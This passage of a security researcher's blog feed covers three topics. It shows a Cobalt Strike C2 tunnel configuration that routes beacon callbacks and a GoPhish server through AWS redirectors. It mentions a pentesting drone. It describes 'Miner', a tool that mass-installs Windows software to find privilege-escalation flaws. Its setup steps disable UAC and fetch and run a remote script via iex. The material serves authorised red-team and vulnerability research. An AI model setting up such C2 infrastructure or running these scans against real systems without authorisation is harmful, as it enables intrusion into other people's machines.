        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.144.140.90"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"4430"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Beacon"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.142.99.100"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"4431"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"longHaul"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.142.99.100"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"80"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"801"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"longHaul"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"18.218.224.166"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8080"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Unknown"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">],</span><span class="w">
    </span><span class="nl">"LocalHosts"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"192.168.1.10"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8080"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"GoPhish"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"id_rsa"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The objective of the JSON configuration file is to make the tunnels persistent after reboot.</p>

<h2 id="the-description-of-each-key">The Description of Each Key</h2>

<ul>
  <li>Autoreconnect - Can be set to 1 to reconnect to closed tunnels in case of failure.</li>
  <li>RemoteHosts - Remote tunneling settings.</li>
  <li>LocalHosts - Local tunnelling settings.</li>
  <li>IPAddress - The public IP Address of your node.</li>
  <li>BindPort - The bind port, which is the port that will receive the traffic on the public-facing instance.</li>
  <li>HostPort - The host port, which is the port that will receive the traffic on the local host (team server). The traffic will enter through the bind port and get redirected to the host port.</li>
  <li>Type - The type of node. This is only a description. It doesn’t - impact the node in any way.</li>
  <li>Username - The username that is used to connect to the node.</li>
  <li>Key - The key that is used to connect to the node. The tool looks for the key inside the “keys” folder. You can change the path by changing the value of “SSH_KEYS” in variables.env.</li>
</ul>

<p>An illustration of how the created nodes may be used on Cobalt Strike:</p>

<p><img src="/images/Cobalt-Strike/1/listeners-2.png" alt="." /></p>

<p>After configuring a payload to use one of the established listeners and then executing the payload, we can see that the device is connecting to 3.144.140.90 address which is one of the AWS instances created via <a style="color:#c0c0c0" href="https://github.com/M507/Tunnel-Manager"><font color="#4CAF50">Tunnel-Manager</font></a>, as shown in the following screenshots.</p>

<p><img src="/images/Cobalt-Strike/1/tcpv1.png" alt="." /></p>

<p>3.144.140.90 corresponds to the “Beacon” instance, as shown in the following screenshots.</p>

<p><img src="/images/Cobalt-Strike/1/tcpv1-aws.png" alt="." /></p>

<p>The “Beacon” instance will receive the traffic on port 443 and redirect it to the local port teamserver:4430 as configured in the config.json file. That should allow a pipe of communication between the executed payload and the C2 software, as shown below.</p>

<p><img src="/images/Cobalt-Strike/1/tcpv1-cs2.png" alt="." /></p>

<h2 id="happy-testing">Happy testing!</h2>]]></content><author><name>Mohammed Alshehri</name></author><category term="cobalt-strike" /><category term="c2" /><category term="red-teaming" /><category term="aws" /><category term="tunneling" /><category term="port-forwarding" /><category term="infrastructure" /><category term="apt" /><category term="nginx" /><category term="socat" /><summary type="html"><![CDATA[Tunnel-Manager automates remote port-forward tunnels for Cobalt Strike across AWS nodes, including NATed on-prem servers.]]></summary></entry><entry><title type="html">Hacking From the Sky - Penetration Testing UAV</title><link href="https://shellcode.blog/drone/" rel="alternate" type="text/html" title="Hacking From the Sky - Penetration Testing UAV" /><published>2021-11-24T00:00:00+00:00</published><updated>2021-11-24T00:00:00+00:00</updated><id>https://shellcode.blog/drone</id><content type="html" xml:base="https://shellcode.blog/drone/"><![CDATA[<p>In 2019, my team and I faced a challenge during an onsite penetration test. The client we were pentesting was in a multistory building, limiting many of our attacks. This problem inspired me to develop a solution to bypass similar obstacles. I started exploring UAVs to develop a Penetration Testing UAV to deliver Bluetooth, WiFi, network attacks. The findings were presented at RIT and also uploaded on YouTube. If you are interested, check out my presentation</p>

<meta http-equiv="Refresh" content="0; url='https://www.youtube.com/watch?v=Z0rXc7zdxds'" />]]></content><author><name>Mohammed Alshehri</name></author><category term="uav" /><category term="drone" /><category term="pentesting" /><category term="wifi" /><category term="bluetooth" /><category term="red-teaming" /><category term="hardware" /><category term="wireless" /><category term="physical-security" /><summary type="html"><![CDATA[Building a penetration-testing UAV to deliver Wi-Fi, Bluetooth, and network attacks when physical access to a building is limited.]]></summary></entry><entry><title type="html">Mine for Local Privilege Escalation Vulnerabilities in Windows Applications Using Automation and Virtualization</title><link href="https://shellcode.blog/Miner00/" rel="alternate" type="text/html" title="Mine for Local Privilege Escalation Vulnerabilities in Windows Applications Using Automation and Virtualization" /><published>2021-07-25T00:00:00+00:00</published><updated>2021-07-25T00:00:00+00:00</updated><id>https://shellcode.blog/Miner00</id><content type="html" xml:base="https://shellcode.blog/Miner00/"><![CDATA[<p>TLDR: A year ago, I noticed that there are very easy-to-spot vulnerabilities on Windows thick-clients that lead to local privilege escalation. I developed an automation solution that browses the web looking for Windows applications, downloads and installs them, and then performs some static scans on the system after installing the targeted software. When it finds vulnerable software, it sends notifications to Slack. Using this project, I was able to find more than 40 LPE vulnerabilities and 12 CVEs in a very short period. I called this project Miner: <a href="https://github.com/M507/Miner">GitHub Repository</a>. This post briefly talks about the project and shows how to start employing it.</p>

<h2 id="introduction">Introduction</h2>

<p>This automation project is designed to perform analysis in a massive number of executables. The tool receives a queue of executables, and then it spawns a number of VMs according to the number of executables. In each VM, it installs a targeted executable individually using <a href="#how-do-they-work-with-each-other">different methods</a>. Then it performs scans in the VM after installing the executable to find local privilege escalation vulnerabilities and indicators of poor design.</p>

<p>The tool is designed for large scans. For example, when a company like Logitech starts a bug bounty program, it’s hard to go over all their Windows Programs and drivers. An efficient way to find as many bugs as possible in a short period of time is to use an automation tool like the one introduced here to download all Logitech drivers and Windows applications, then perform scans on them after installation, and finally generate a report for each executable.</p>

<p>Basically, the solution I am offering downloads every executable it finds on given FTP servers or Github &amp; GitLab repositories, then it performs its analysis and generates a report of the findings.</p>

<h2 id="design-and-dynamics">Design and Dynamics</h2>

<p>Let’s look at the project’s environment and dynamics before getting into the details. The main host is a hypervisor running ESXi with vCenter; however other hypervisors could be used depending on preference. I also used two VMs, one to download binaries and the other one to start RDP sessions, and I will explain the idea of the RDP sessions later. I also used a Windows instance with WinRM enabled, where the tests will be performed. It’s not essential to have a Git server, but in my case, I deployed a Gitlab server to backup the generated reports. Finally, a Slack channel to receive alerts when a new vulnerability is found. The following diagram shows the relationships between all the mentioned servers.</p>

<h2 id="environment-diagram">Environment Diagram</h2>

<p><img src="/images/CVEs-1/9.png" alt="1" /></p>

<p>Refer to the diagram above when needed. The following section shows the environment used to run the project and the details of each VM.</p>

<h3 id="mpsdomaincom">MPS.domain.com:</h3>
<p>It is the server that will browse the internet looking for Windows applications and store them. It does this using multiple processes to find applications, which will be explained later. While looking for Windows applications and storing them, MPS.domain.com will have the main script that runs everything else. This main script is called “run.py.” Run.py is the script that controls testbox1.domain.com using WinRM via Ansible. Run.py has three lists; <code class="language-plaintext highlighter-rouge">dropbox</code>, <code class="language-plaintext highlighter-rouge">queue</code>, and <code class="language-plaintext highlighter-rouge">completed</code>. <code class="language-plaintext highlighter-rouge">Dropbox</code> is where the “multiple processes” I mentioned above copy the files to and where I drop files that I want to analyze. The <code class="language-plaintext highlighter-rouge">queue</code> folder contains the binaries that are waiting to be analyzed. Compiled is where I store the name of executables that the Miner has analyzed. These are the main things that you need to know now. There are more shenanigans that I will explain later.</p>

<h3 id="rdpssdomaincom">RDPSS.domain.com:</h3>
<p>This server is a CentOS Linux release 7.9.2009 server that uses a Remmina configuration file to create RDP sessions in testbox1.domain.com when mps.domain.com requires.</p>

<h3 id="testbox1domaincom">testbox1.domain.com:</h3>
<p>The virtual machine where the analysis happens. MPS.domain.com installs the executables in <code class="language-plaintext highlighter-rouge">queue</code> and then run scripts like <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1">PowerUp.ps1</a> in testbox1.domain.com to find vulnerabilities like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- If you are an admin in a medium integrity process
- For any unquoted service path issues
- For any services with misconfigured ACLs
- Any improper permissions on service executables
- For any leftover unattend.xml files
- If the AlwaysInstallElevated registry key is set
- If any Autologon credentials are left in the registry
- For any encrypted web.config strings and application pool passwords
- For any %PATH% .DLL hijacking opportunities
</code></pre></div></div>

<p>In Miner, scripts like PowerUp.ps1 are the scripts that analyze the testboxN.domain.com VMs after installing the targeted binaries. You can customize your test in the form of PowerShell, Batch, or whatever scripting language you prefer and add them to <code class="language-plaintext highlighter-rouge">run_startauditing.yml</code>. Simple scripts can be beneficial. For example, <code class="language-plaintext highlighter-rouge">show_all_tcp_listening_ports.ps1</code> lists all newly opened TCP ports. It might not seem like a big deal, but it tells us that the targeted binary has opened sockets, and it can be fuzzed or even manually tested. Other simple scripts can look for easy-to-spot vulnerabilities like <a href="https://cwe.mitre.org/data/definitions/255.html">credentials management</a>, <a href="https://cwe.mitre.org/data/definitions/320.html">key management</a>, and <a href="https://cwe.mitre.org/data/definitions/1029.html">filesystem sensitive data exposure</a> vulnerabilities.</p>

<h3 id="gitlabdomaincom">Gitlab.domain.com:</h3>
<p>A GitLab instance that should have mps.domain.com’s ssh public key to backup the analysis reports.</p>

<h2 id="how-do-they-work-with-each-other">How Do They Work With Each Other</h2>
<p>Mps.domain.com must have access to ESXi with vCenter to be able to revert testbox1.domain.com when needed. The vCenter user that Mps.domain.com uses must have the ability to only revert testbox1.domain.com. It also has to have inbound rules for port 80. Since there will be a web server running to send signals to RDPSS.domain.com, I used a webserver in MPS.domain.com because I don’t want to introduce new listeners on the system that might be vulnerable somehow or unstable. RDPSS.domain.com must be able to reach mps.domain.com at 80 and must be able to reach testbox1.domain.com at 3389. No inbound rules are needed.</p>

<p>Every Test VM (testbox1.domain.com) is just a clone of a template. Mps.domain.com knows the states of the cloned VM after installing the targeted binary. Based on the states of the cloned VM, Mps.domain.com initiates an RDP session from RDPSS.domain.com. Mps.domain.com then starts analyzing the changes in the cloned Windows system to find common Windows weaknesses using Ansible. It’s designed to accept different Ansible scripts that run other Python and PowerShell scripts inside the Windows VM (testbox1.domain.com). The above diagram shows the process.</p>

<h2 id="how-to-start-mining">How to Start Mining</h2>

<p>First, I will start by explaining the flow. Everything starts from Run.py on MPS.domain.com. Run.py uses two modules; the first one is called <code class="language-plaintext highlighter-rouge">main</code>, and the second module is <code class="language-plaintext highlighter-rouge">main_keys</code>. Each module utilizes a method to install the targeted application. The <code class="language-plaintext highlighter-rouge">Main</code> module uses image recognition to find the “next” and other buttons to install Windows applications. Basically, the <code class="language-plaintext highlighter-rouge">Main</code> module uses the stored screenshots of some buttons and tries to find them and click them when possible. The other module is <code class="language-plaintext highlighter-rouge">Main_keys</code>, which tries a sequence of actions until it installs the software. Every time the function <code class="language-plaintext highlighter-rouge">run(file_name, modules)</code> runs, it uses a different module to minimize failure during the installation process. When adding a new module, the only thing needed is editing <code class="language-plaintext highlighter-rouge">run(file_name, modules)</code> and adding the new module in the <code class="language-plaintext highlighter-rouge">modules</code> list. The following code is an example of how Run.py should be.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c"># static values that shouldn't be changed</span>
    dropbox <span class="o">=</span> <span class="s2">"dropbox"</span>
    queue <span class="o">=</span> <span class="s2">"queue"</span>
    done_folder <span class="o">=</span> <span class="s2">"completed"</span>

    <span class="c"># These are the Python scripts that will run to install the exe file.</span>
    modules <span class="o">=</span> <span class="o">[</span><span class="s2">"main"</span>,<span class="s2">"main_keys"</span><span class="o">]</span>
</code></pre></div></div>

<p>To start running the project, begin by copying the following instructions.</p>

<h3 id="fork-the-project-from">Fork the project from:</h3>

<p><a href="https://github.com/M507/Miner">Link</a></p>

<p>I do not recommend removing the lists that I already published. If you do so, you may retest the same binaries that I have already tested. After forking the project, clone your new fork in your MSP.domain.com.</p>

<p>Change the variables in the next files according to your environment. <code class="language-plaintext highlighter-rouge">vars.yml</code> should have the vCenter credentials and the name of the VM that will be cloned in each new analysis.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vcenter_hostname: 192.168.1.1
vcenter_username: admin@vsphere.local
vcenter_password: YeshDeshIsMypashhhhword
# vCenter Datacenter.
vcenter_datacenter: Datacenter
# vCenter Datastore, where you want to store new clones. 
vcenter_datastores: [ datastore1 ]
validate_certs_flag: False
# The name of the VM you will be cloning in each new analysis.
VM_Name: Win10 RedTeam Testing
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">projectdir/Miner/Inventory.ini</code> file:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>windowstesting]
10.10.1.1

<span class="o">[</span>windows:children]
windowstesting

<span class="o">[</span>windows:vars]
<span class="nv">ansible_connection</span><span class="o">=</span>winrm
<span class="nv">ansible_winrm_server_cert_validation</span><span class="o">=</span>ignore

<span class="o">[</span>windowstesting:vars]
<span class="nv">ansible_user</span><span class="o">=</span>Administrator
<span class="nv">ansible_password</span><span class="o">=</span>testbox1password
<span class="nv">ansible_become_password</span><span class="o">=</span>testbox1password
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">projectdir/Miner/notifier/.env</code> file needs only one change. Change <code class="language-plaintext highlighter-rouge">VULNSCANNERS</code> to your webhook channel.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">VULNSCANNERS</span><span class="o">=</span>https://hooks.slack.com/webhook
</code></pre></div></div>

<p>Apply these commands to install Mps.domain.com dependencies. I am assuming that you are using CentOS Linux release 7.9.2009 (Core) as Mps.domain.com:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>yum update <span class="nt">-y</span>
yum <span class="nb">install </span>epel-release <span class="nt">-y</span>
yum <span class="nb">install </span>httpd git vim tmux python-pip wget <span class="nt">-y</span>
pip <span class="nb">install </span>ansible
pip <span class="nb">install </span>pyvmomi
pip <span class="nb">install </span>pywinrm
ansible-galaxy collection <span class="nb">install </span>community.vmware
yum groupinstall <span class="s2">"Development Tools"</span>
systemctl start httpd
systemctl <span class="nb">enable </span>httpd
</code></pre></div></div>

<p>MPS’s firewall settings so RDPSS.domain.com can access mps.domain.com, make sure you have the right range or IP:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Firewall</span>
firewall-cmd <span class="nt">--permanent</span> <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--add-rich-rule</span><span class="o">=</span><span class="s1">'rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="80" accept'</span>
firewall-cmd <span class="nt">--reload</span>
<span class="c"># Making sure that START_RDP_SESSION.env exists and has the right permissions.</span>
<span class="nb">touch</span> /var/www/html/START_RDP_SESSION.env
<span class="nb">chmod </span>a+wr /var/www/html/START_RDP_SESSION.env
</code></pre></div></div>

<p>To manually debug MPS scripts, use the next commands:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># start by downloading files manually, exit when done</span>
<span class="nb">cd</span> /projectdir/Miner/GithubScanner<span class="p">;</span>python3 github-url-grapper.py 
<span class="c"># copy and preparer the downloaded files </span>
<span class="nb">cd</span> /projectdir/Miner<span class="p">;</span>python preparer.py
<span class="c"># finally, run Miner</span>
<span class="nb">cd</span> /projectdir/Miner<span class="p">;</span>python run.py
</code></pre></div></div>

<p>To manually debug Ansible, use the next commands:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ansible-playbook site.yml <span class="nt">-i</span> inventory.ini <span class="nt">--extra-vars</span> <span class="s2">"file_name=bin.exe run_version=main"</span>
ansible-playbook site.yml <span class="nt">-i</span> inventory.ini <span class="nt">--extra-vars</span> <span class="s2">"file_name=Vembu_BDR_Backup_Server_Setup_4_2_0_1_U1_GA.exe run_version=main_keys"</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">file_name</code> should be the path of the file you want to analyze. <code class="language-plaintext highlighter-rouge">run_version</code> should be the name of module you want to use to install the file.</p>

<h2 id="setup-a-windows-template---testbox1domaincom">Setup a Windows template - testbox1.domain.com</h2>

<p>Since we are using Ansible, you need WinRM to be running, and you need to create a new user without any admin privileges and add it to the WinRM group so Ansible can use it.  Make sure that the Administrator and lowprivuser users are activated in the testbox1.domain.com server.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">lowprivuser</span><span class="w"> </span><span class="nx">/add</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">lowprivuser</span><span class="w"> </span><span class="nx">Password-123</span><span class="o">*</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">Administrator</span><span class="w"> </span><span class="s2">"password123"</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">Administrator</span><span class="w"> </span><span class="nx">/active</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">localgroup</span><span class="w"> </span><span class="s2">"Remote Management Users"</span><span class="w"> </span><span class="nx">/add</span><span class="w"> </span><span class="nx">lowprivuser</span><span class="w">
</span></code></pre></div></div>

<p>Then disable Windows script execution policy.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-ExecutionPolicy</span><span class="w"> </span><span class="nx">unrestricted</span><span class="w">
</span></code></pre></div></div>

<p>Enable WinRM and follow the instructions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>winrm quickconfig
</code></pre></div></div>

<p>Turn off Windows UAC, so it doesn’t break the image recognition scripts.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">
</span><span class="n">reg.exe</span><span class="w"> </span><span class="nx">ADD</span><span class="w"> </span><span class="nx">HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">EnableLUA</span><span class="w"> </span><span class="nx">/t</span><span class="w"> </span><span class="nx">REG_DWORD</span><span class="w"> </span><span class="nx">/d</span><span class="w"> </span><span class="nx">0</span><span class="w"> </span><span class="nx">/f</span><span class="w">
</span><span class="n">shutdown</span><span class="w"> </span><span class="nx">/r</span><span class="w"> </span><span class="nx">/t</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p>Start an admin powershell windows and then install Chocolatey and NSSM:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-ExecutionPolicy</span><span class="w"> </span><span class="nx">Bypass</span><span class="w"> </span><span class="nt">-Scope</span><span class="w"> </span><span class="nx">Process</span><span class="w"> </span><span class="nt">-Force</span><span class="p">;</span><span class="w"> </span><span class="p">[</span><span class="n">System.Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">-bor</span><span class="w"> </span><span class="nx">3072</span><span class="p">;</span><span class="w"> </span><span class="n">iex</span><span class="w"> </span><span class="p">((</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">(</span><span class="s1">'https://chocolatey.org/install.ps1'</span><span class="p">))</span><span class="w">
</span><span class="c"># start another powershell windows</span><span class="w">
</span><span class="n">choco</span><span class="w"> </span><span class="nx">install</span><span class="w"> </span><span class="nx">nssm</span><span class="w">
</span></code></pre></div></div>

<p>Finally, download PsExec from <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">Link</a> and copy it to this path <code class="language-plaintext highlighter-rouge">/system32/</code>.</p>

<p>Now, you can take a snapshot of the VM, but make sure you test the access of the low privilege user you created in the above steps.</p>

<h2 id="setup-rdpssdomaincom">Setup RDPSS.domain.com</h2>

<p>Copy every file in <code class="language-plaintext highlighter-rouge">/Miner/RDPSS/Linux/*</code> from your fork to your RDPSS VM.</p>

<p>Install Remmina, <code class="language-plaintext highlighter-rouge">sudo apt install remmina remmina-plugin-vnc -y</code>. Then, make sure Remmina’s binary exists at <code class="language-plaintext highlighter-rouge">/usr/bin/remmina</code>. Then, execute <code class="language-plaintext highlighter-rouge">rdpss.sh</code>. The first time you use the script, it will ask you to enter the password of the test VM. Make sure you ask Remmina to remember the credentials or use the attached file <code class="language-plaintext highlighter-rouge">windows.remmina</code> after editing the username and passwords.</p>

<p>Finally, finish the RDPSS.domain.com setup by taking a snapshot. Make sure you take a snapshot while <code class="language-plaintext highlighter-rouge">rdpss.sh</code> is running. In case something goes wrong, you don’t need to interact with RDPSS. In unexpected failures, you just need to revert RDPSS.domain.com and nothing else.</p>

<h2 id="reporting">Reporting</h2>

<p>The reporting process also can be automated. The creation of issues uses templates that look like the following screenshots. The following screenshot is an example of Insecure Permissions vulnerability:</p>

<p><img src="/images/CVEs-1/2.png" alt="1" /></p>

<p>The following screenshot is an example of Windows Unquoted Service Path vulnerability:</p>

<p><img src="/images/CVEs-1/4.png" alt="1" /></p>

<p>Whenever Miner finds a vulnerability, it uses the existing templates in <code class="language-plaintext highlighter-rouge">notifier/</code> and generates a new issue; the rest is up to you to find the vendor online and email them or sometimes you can directly report the vulnerabilities on GitHub or GitLab.</p>

<h2 id="final-thoughts">Final thoughts</h2>

<p>In my case, many of the vulnerabilities Miner found were in old software, and many of these vulnerabilities are unquoted service path and insecure folder permissions vulnerabilities. Still, one or two of these vulnerabilities found are in critical products like a product from Vembu, a backup and recovery solution for VMware, Hyper-V, and physical servers, which is used by a list of important clients (according to Vembu’s website) as shown below:</p>

<p><img src="/images/CVEs-1/3.png" alt="1" /></p>

<p>Miner found an excellent number of vulnerabilities. After testing 13099 binaries, Miner found 41 vulnerabilities in different binaries. Very few of them were already known, and the rest were new.I was able to issue only 12 CVEs, which can be found <a href="https://github.com/M507/Miner">here</a>.</p>

<!-- ![1](/images/CVEs-1/6.png)  -->

<p>For the rest of the vulnerabilities, I tried to contact the developers and vendors of the products, but some of them didn’t respond, and some just ignored the issues or replied like this:</p>

<p><img src="/images/CVEs-1/8.png" alt="1" /></p>

<p>So, after waiting for more than three months, I published several vulnerabilities on Exploit-DB since it’s easier than trying to get a CVE number for each vulnerability. The rest of the discovered vulnerabilities were not published on Exploit-DB since Exploit-DB doesn’t accept all vulnerability types. The following is a list of the discovered published vulnerabilities:</p>

<p>Program Access Controller v1.2.0.0</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/48966">https://www.exploit-db.com/exploits/48966</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/190825">https://exchange.xforce.ibmcloud.com/vulnerabilities/190825</a></li>
</ul>

<p>IP Watcher v3.0.0.30</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/48968">https://www.exploit-db.com/exploits/48968</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/190824">https://exchange.xforce.ibmcloud.com/vulnerabilities/190824</a></li>
</ul>

<p>WinAVR Version 20100110</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49379">https://www.exploit-db.com/exploits/49379</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/194280">https://exchange.xforce.ibmcloud.com/vulnerabilities/194280</a></li>
</ul>

<p>Ext2Fsd v0.68</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49706">https://www.exploit-db.com/exploits/49706</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/198746">https://exchange.xforce.ibmcloud.com/vulnerabilities/198746</a></li>
</ul>

<p>VFS for Git 1.0.21014.1</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49661">https://www.exploit-db.com/exploits/49661</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/198405">https://exchange.xforce.ibmcloud.com/vulnerabilities/198405</a></li>
</ul>

<p>Vembu BDR 4.2.0.1 U1</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49641">https://www.exploit-db.com/exploits/49641</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/198151">https://exchange.xforce.ibmcloud.com/vulnerabilities/198151</a></li>
</ul>

<p>FreeLAN 2.2</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49630">https://www.exploit-db.com/exploits/49630</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/197919">https://exchange.xforce.ibmcloud.com/vulnerabilities/197919</a></li>
</ul>

<p>bVPN 2.5.1</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49632">https://www.exploit-db.com/exploits/49632</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/197938">https://exchange.xforce.ibmcloud.com/vulnerabilities/197938</a></li>
</ul>

<p>DiskBoss v11.7.28</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49022">https://www.exploit-db.com/exploits/49022</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/191386">https://exchange.xforce.ibmcloud.com/vulnerabilities/191386</a></li>
</ul>

<p>Rumble Mail Server 0.51.3135</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49203">https://www.exploit-db.com/exploits/49203</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/192729">https://exchange.xforce.ibmcloud.com/vulnerabilities/192729</a></li>
</ul>

<p>System Explorer 7.0.0</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49248">https://www.exploit-db.com/exploits/49248</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/193324">https://exchange.xforce.ibmcloud.com/vulnerabilities/193324</a></li>
</ul>

<p>Privacy Drive v3.17.0</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49023">https://www.exploit-db.com/exploits/49023</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/191387">https://exchange.xforce.ibmcloud.com/vulnerabilities/191387</a></li>
